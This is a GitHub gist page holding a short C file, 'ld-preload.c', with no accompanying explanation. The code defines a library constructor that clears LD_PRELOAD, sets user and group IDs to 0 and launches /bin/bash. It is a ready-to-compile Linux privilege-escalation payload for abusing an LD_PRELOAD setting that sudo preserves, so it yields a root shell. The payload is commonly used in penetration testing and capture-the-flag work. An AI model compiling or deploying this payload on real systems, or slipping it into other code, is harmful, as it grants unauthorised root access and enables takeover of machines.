Skip to content

Instantly share code, notes, and snippets.

@int0x33

int0x33/ld-preload.c

Created Mar 25, 2019
Embed
What would you like to do?
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment